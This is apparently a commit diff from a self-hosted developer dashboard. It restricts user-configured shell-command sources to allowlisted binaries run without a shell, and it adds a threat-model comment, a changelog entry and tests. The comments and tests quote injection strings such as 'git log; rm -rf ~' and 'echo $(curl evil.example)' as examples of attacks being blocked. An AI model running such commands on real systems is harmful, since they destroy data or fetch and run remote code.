Self-hosted, Self-Improving, Federated Everything App — dev management, agent orchestration, persistent mind, digital twin, second brain, and creative pipeline from a single dashboard over Tailscale to port the user into the OS
JavaScript ai-agentsdashboarddeveloper-toolsdigital-twinquantified-selfsecond-brainself-hostedtailscale
fix: restrict layeredIntelligence cmd sources to allowlisted binaries (#2515)
Adam Eivy70cfdef0e8da
diff --git a/.changelog/NEXT.md b/.changelog/NEXT.mdindex 00e8a76a66..b91c919b30 100644--- a/.changelog/NEXT.md+++ b/.changelog/NEXT.md@@ -3,6 +3,7 @@## Security- **[issue-2514] Harden AI provider custom endpoints against SSRF / API-key exfiltration.** A provider's `endpoint` is a free-form URL, and model-refresh / API-run paths attached the paid `Authorization: Bearer <apiKey>` and fetched that host with no host checks — a hostile or mistyped endpoint could receive the user's paid LLM key and prompts, or be pointed at a cloud-metadata service (`169.254.169.254`). A new `endpointGuard` now gates every secret-bearing request: loopback/LAN (Tailscale) and known paid-provider hosts are allowed, cloud-metadata hosts are always blocked, and any other host requires the new per-provider **Allow custom endpoint** opt-in. Keyless local-LLM calls (Ollama/LM Studio) are unaffected.+- **[issue-2515] Restrict Layered Intelligence custom `cmd` sources to allowlisted binaries (no `shell: true`).** A custom `cmd` source ran its full command string through `shell: true` with only a length/timeout cap, so any config-write path (hand edit, hostile sync payload) gained persistent, unattended RCE on the LI schedule (`; rm -rf ~`, `$(curl … | sh)`, pipes to `sh`). `runShellCommand` now denies the shell by default: the command is parsed and checked against the shared `commandSecurity` binary allowlist (rejecting shell metacharacters and non-allowlisted binaries), then spawned with `shell: false` and parsed args. An operator who genuinely needs a pipeline can set the install-level `settings.layeredIntelligence.trustShellSources` opt-in (off by default) to restore full-shell behavior for that install only.## Fixeddiff --git a/server/lib/validation.js b/server/lib/validation.jsindex 83d0a0c1c7..f0c0f0d502 100644--- a/server/lib/validation.js+++ b/server/lib/validation.js@@ -171,6 +171,16 @@ export const layeredIntelligenceConfigSchema = z.object({lastRunAt: z.string().nullable().optional()});+// Install-level Layered Intelligence settings (data/settings.json, distinct from+// the per-app config above). `trustShellSources` unlocks full-shell custom `cmd`+// sources for the whole install — off by default; when false/absent, custom cmd+// sources are restricted to the allowlisted-binary + shell:false runner. See the+// threat-model comment on runShellCommand in server/services/layeredIntelligence.js+// (issue #2515).+export const layeredIntelligenceSettingsSchema = z.object({+ trustShellSources: z.boolean().optional()+});+export const appSchema = z.object({name: z.string().min(1).max(100),repoPath: z.string().min(1),diff --git a/server/routes/settings.js b/server/routes/settings.jsindex 46c5327189..67181da788 100644--- a/server/routes/settings.js+++ b/server/routes/settings.js@@ -10,7 +10,7 @@ import {} from '../services/mediaJobQueue/index.js';import { asyncHandler } from '../lib/errorHandler.js';import { isPlainObject } from '../lib/objects.js';-import { backupConfigSchema, sharingSettingsPatchSchema, featureProviderConfigSchema, autofixerSettingsSchema, codeReviewSettingsSchema, locationSettingsSchema, settingsEmbeddingsSchema, citySnapshotConfigSchema, imessageConfigSchema, signalConfigSchema, spotifyConfigSchema, youtubeConfigSchema, apiAccessSettingsSchema, loraTrainingConfigSchema, pipelineEditorialChecksSettingsSchema, creativeDirectorSettingsSchema, privacySettingsSchema, seriesAutopilotSettingsSchema, validateRequest } from '../lib/validation.js';+import { backupConfigSchema, sharingSettingsPatchSchema, featureProviderConfigSchema, autofixerSettingsSchema, codeReviewSettingsSchema, locationSettingsSchema, settingsEmbeddingsSchema, citySnapshotConfigSchema, imessageConfigSchema, signalConfigSchema, spotifyConfigSchema, youtubeConfigSchema, apiAccessSettingsSchema, loraTrainingConfigSchema, pipelineEditorialChecksSettingsSchema, creativeDirectorSettingsSchema, privacySettingsSchema, seriesAutopilotSettingsSchema, layeredIntelligenceSettingsSchema, validateRequest } from '../lib/validation.js';const router = Router();@@ -205,6 +205,12 @@ router.put('/', asyncHandler(async (req, res) => {if (req.body?.seriesAutopilot !== undefined) {validateRequest(seriesAutopilotSettingsSchema.partial(), req.body.seriesAutopilot);}+ // Install-level Layered Intelligence settings (#2515) — validate the slice when+ // present so a malformed `trustShellSources` can't persist and silently unlock+ // full-shell custom `cmd` sources install-wide.+ if (req.body.layeredIntelligence) {+ validateRequest(layeredIntelligenceSettingsSchema.partial(), req.body.layeredIntelligence);+ }// User-defined catalog types moved out of settings.json into PostgreSQL// (`catalog_user_types`, #1001). The `/api/catalog/types` routes are the only// write path; a `catalogUserTypes` key in a PUT /api/settings body (legacydiff --git a/server/services/layeredIntelligence.js b/server/services/layeredIntelligence.jsindex 2014f4c363..33d00af3d5 100644--- a/server/services/layeredIntelligence.js+++ b/server/services/layeredIntelligence.js@@ -26,6 +26,8 @@ import { existsSync } from 'fs';import { DAY, tryReadFile, readJSONFile, safeJSONParse, PATHS } from '../lib/fileUtils.js';import { bufferedSpawn } from '../lib/bufferedSpawn.js';import { fetchPublicText } from '../lib/safeUrlFetch.js';+import { validateCommand } from '../lib/commandSecurity.js';+import { getSettings } from './settings.js';import { createTicket, searchIssues, addLabels, escapeJql } from './jira.js';import { computeWindowedStats } from './taskLearning/store.js';@@ -583,11 +585,20 @@ function runCli(cmd, args, options = {}) {* files degrade to omitted keys, never throws. `openIssues` is gathered* separately by the handler (it shells out to the forge).*/-export async function gatherSources(app, config, { cosPath = PATHS.cos } = {}) {+export async function gatherSources(app, config, { cosPath = PATHS.cos, trustShellSources } = {}) {const out = {};const src = config.sources || {};const repo = app.repoPath;+ // Resolve the install-level shell-trust opt-in lazily and once — only when a+ // `cmd` source is actually present — so apps with no shell sources never read+ // settings. Injected value (tests) wins; otherwise fall back to settings.json.+ let trustShell = trustShellSources;+ const resolveTrustShell = async () => {+ if (trustShell === undefined) trustShell = await getTrustShellSources();+ return trustShell;+ };+if (src.goals && repo) {const goals = await tryReadFile(join(repo, 'GOALS.md'));if (goals) out.goals = goals.slice(0, 8000);@@ -651,7 +662,7 @@ export async function gatherSources(app, config, { cosPath = PATHS.cos } = {}) {const content = await fetchHttpSource(custom.url);if (content) out[key] = content.slice(0, 8000);} else if (custom.type === 'cmd' && typeof custom.cmd === 'string' && repo) {- const content = await runShellCommand(custom.cmd, { cwd: repo });+ const content = await runShellCommand(custom.cmd, { cwd: repo, trustShellSources: await resolveTrustShell() });if (content) out[key] = content.slice(0, 8000);}}@@ -694,21 +705,68 @@ export async function fetchHttpSource(url, { timeoutMs = 10_000, fetchText = fet}/**- * Run a user-configured shell command for a `cmd` custom source and return its- * stdout. Deterministic read, no LLM. Runs the full command string through the- * shell (e.g. `git log --oneline -20 | head`) via the shared `bufferedSpawn`- * helper — which caps output, kills the whole process tree on timeout (so a- * hung pipeline grandchild can't linger), and never rejects. Returns null on- * non-zero exit / timeout / no output so a failing command just omits the key.- * `exec` is injectable for tests.+ * THREAT MODEL — a `cmd` custom source is attacker-reachable persistent config.+ *+ * The `sources.custom` array lives in each app's stored `layeredIntelligence`+ * config, written through the validated `PUT /api/apps/:id` route. A `cmd` entry+ * is executed here on the Layered Intelligence SCHEDULE (Engine-B autonomous job),+ * with the PortOS process's own privileges and cwd = the app repo. So any path+ * that can land a string in that config (a hand-edited config, a hostile sync+ * payload, a future config-writing feature, an XSS-driven same-origin POST) gets+ * *persistent, unattended* code execution — not a one-shot the operator watched.+ *+ * Historically this ran the full command string with `shell: true`, capped only+ * by length + a 15s timeout. That is arbitrary RCE: `; rm -rf ~`, `$(curl … | sh)`,+ * pipes to `sh`, etc. all execute. Issue #2515.+ *+ * Defense: by default we DENY the shell. The command is parsed and checked+ * against the shared binary allowlist (`validateCommand` in commandSecurity.js —+ * same gate the manual command runner uses), which rejects shell metacharacters+ * (`;|&$(){}` …) and any binary not on the allowlist, then we spawn the base+ * binary with parsed args and `shell: false` — so no shell ever interprets the+ * string. A non-allowlisted / metacharacter command is dropped (key omitted) with+ * a warning, exactly like any other failed source read.+ *+ * Escape hatch: an operator who genuinely needs a pipeline (`git log … | head`)+ * can set the install-level `settings.layeredIntelligence.trustShellSources`+ * flag, which restores the full `shell: true` behavior for THIS install only.+ * It is an explicit, install-wide opt-in — off by default — so a fresh install+ * (or a synced-in app config) can never execute an un-allowlisted command.+ *+ * `exec` is injectable for tests; `trustShellSources` is resolved by the caller+ * (`gatherSources`) from install settings and threaded in.+ *+ * Returns null on rejection / non-zero exit / timeout / no output so a failing or+ * denied command just omits the source key rather than throwing.*/-export async function runShellCommand(cmd, { cwd, timeoutMs = 15_000, exec = bufferedSpawn } = {}) {+export async function runShellCommand(cmd, { cwd, timeoutMs = 15_000, exec = bufferedSpawn, trustShellSources = false } = {}) {if (typeof cmd !== 'string' || !cmd.trim()) return null;- const { code, stdout } = await exec(cmd, [], { cwd, timeoutMs, shell: true });+ if (trustShellSources) {+ // Operator has explicitly opted this install into full-shell custom sources.+ const { code, stdout } = await exec(cmd, [], { cwd, timeoutMs, shell: true });+ if (code !== 0) return null;+ return (stdout || '').trim() || null;+ }+ const check = validateCommand(cmd);+ if (!check.valid) {+ console.warn(`⚠️ Layered Intelligence: custom cmd source "${cmd}" rejected — ${check.error} (enable settings.layeredIntelligence.trustShellSources to allow arbitrary shell commands)`);+ return null;+ }+ const { code, stdout } = await exec(check.baseCommand, check.args, { cwd, timeoutMs, shell: false });if (code !== 0) return null;return (stdout || '').trim() || null;}+/**+ * Resolve the install-level "trust shell sources" opt-in from settings.json.+ * `null`/absent/non-true all read as OFF (the safe default) — only an explicit+ * `true` unlocks full-shell custom `cmd` sources. Injectable read for tests.+ */+export async function getTrustShellSources(read = getSettings) {+ const settings = await read();+ return settings?.layeredIntelligence?.trustShellSources === true;+}+/*** Confine a custom file `ref` to within `repo` so a hostile/hand-edited config* can't read arbitrary files into the LLM prompt. Returns the safe absolute path,diff --git a/server/services/layeredIntelligence.test.js b/server/services/layeredIntelligence.test.jsindex be4f1c6ada..2601695132 100644--- a/server/services/layeredIntelligence.test.js+++ b/server/services/layeredIntelligence.test.js@@ -37,6 +37,7 @@ import {customSourceKey,fetchHttpSource,runShellCommand,+ getTrustShellSources,normalizeIssueState,listForgeIssues,listBlockingIssues,@@ -700,6 +701,27 @@ describe('gatherSources custom file confinement', () => {);expect(out['custom:link.md']).toBe('INSIDE');});++ it('drops a non-allowlisted custom cmd source when shell trust is off (#2515)', async () => {+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});+ const out = await gatherSources(+ { repoPath: dir },+ { sources: { custom: [{ type: 'cmd', cmd: 'rm -rf /tmp/x' }] } },+ { trustShellSources: false } // injected so no settings.json read+ );+ expect(Object.keys(out).some(k => k.startsWith('custom:cmd:'))).toBe(false);+ warn.mockRestore();+ });++ it('runs an allowlisted custom cmd source and captures stdout (#2515)', async () => {+ // Real allowlisted `echo` through the shell:false runner — deterministic.+ const out = await gatherSources(+ { repoPath: dir },+ { sources: { custom: [{ type: 'cmd', cmd: 'echo hello-source' }] } },+ { trustShellSources: false }+ );+ expect(out['custom:cmd:echo hello-source']).toBe('hello-source');+ });});describe('gatherSources appMetrics (METRICS.md)', () => {@@ -780,26 +802,60 @@ describe('fetchHttpSource', () => {});});-describe('runShellCommand', () => {- it('returns trimmed stdout on exit 0, running through the shell in cwd', async () => {+describe('runShellCommand (restricted by default — #2515)', () => {+ it('runs an allowlisted command with parsed args and shell:false, returns trimmed stdout', async () => {const exec = vi.fn().mockResolvedValue({ code: 0, stdout: ' out\n', stderr: '' });- expect(await runShellCommand('echo out', { cwd: '/x', exec })).toBe('out');- // bufferedSpawn signature: (cmd, args, { cwd, timeoutMs, shell })- expect(exec).toHaveBeenCalledWith('echo out', [], expect.objectContaining({ cwd: '/x', shell: true }));+ expect(await runShellCommand('git log --oneline', { cwd: '/x', exec })).toBe('out');+ // Parsed to base binary + args, spawned WITHOUT a shell (no string interpretation).+ expect(exec).toHaveBeenCalledWith('git', ['log', '--oneline'], expect.objectContaining({ cwd: '/x', shell: false }));});- it('returns null on non-zero exit', async () => {+ it('returns null on non-zero exit (allowlisted binary)', async () => {const exec = vi.fn().mockResolvedValue({ code: 1, stdout: 'partial', stderr: 'err' });- expect(await runShellCommand('false', { cwd: '/x', exec })).toBeNull();+ expect(await runShellCommand('git status', { cwd: '/x', exec })).toBeNull();});it('returns null on a timed-out command (code -1)', async () => {const exec = vi.fn().mockResolvedValue({ code: -1, stdout: '', stderr: '', timedOut: true });- expect(await runShellCommand('sleep 999', { cwd: '/x', exec })).toBeNull();+ expect(await runShellCommand('cat big', { cwd: '/x', exec })).toBeNull();});it('returns null on empty command without invoking exec', async () => {const exec = vi.fn();expect(await runShellCommand(' ', { cwd: '/x', exec })).toBeNull();expect(exec).not.toHaveBeenCalled();});+ it('rejects a non-allowlisted binary without spawning', async () => {+ const exec = vi.fn();+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});+ expect(await runShellCommand('rm -rf /tmp/x', { cwd: '/x', exec })).toBeNull();+ expect(exec).not.toHaveBeenCalled();+ expect(warn).toHaveBeenCalled();+ warn.mockRestore();+ });+ it('rejects a command with shell metacharacters (injection) without spawning', async () => {+ const exec = vi.fn();+ const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});+ // Even though `git` is allowlisted, the `;`/`|`/`$()` chaining is denied.+ expect(await runShellCommand('git log; rm -rf ~', { cwd: '/x', exec })).toBeNull();+ expect(await runShellCommand('git log | sh', { cwd: '/x', exec })).toBeNull();+ expect(await runShellCommand('echo $(curl evil.example)', { cwd: '/x', exec })).toBeNull();+ expect(exec).not.toHaveBeenCalled();+ warn.mockRestore();+ });+ it('escape hatch: trustShellSources restores full shell:true execution', async () => {+ const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'piped\n', stderr: '' });+ expect(await runShellCommand('git log --oneline | head', { cwd: '/x', exec, trustShellSources: true })).toBe('piped');+ // Full string handed to the shell verbatim (opt-in only).+ expect(exec).toHaveBeenCalledWith('git log --oneline | head', [], expect.objectContaining({ cwd: '/x', shell: true }));+ });+});++describe('getTrustShellSources (install-level opt-in — #2515)', () => {+ it('only an explicit true unlocks the shell', async () => {+ expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: true } }))).toBe(true);+ expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: false } }))).toBe(false);+ expect(await getTrustShellSources(async () => ({ layeredIntelligence: {} }))).toBe(false);+ expect(await getTrustShellSources(async () => ({}))).toBe(false);+ expect(await getTrustShellSources(async () => ({ layeredIntelligence: { trustShellSources: 'yes' } }))).toBe(false);+ });});describe('forge I/O (injected exec)', () => {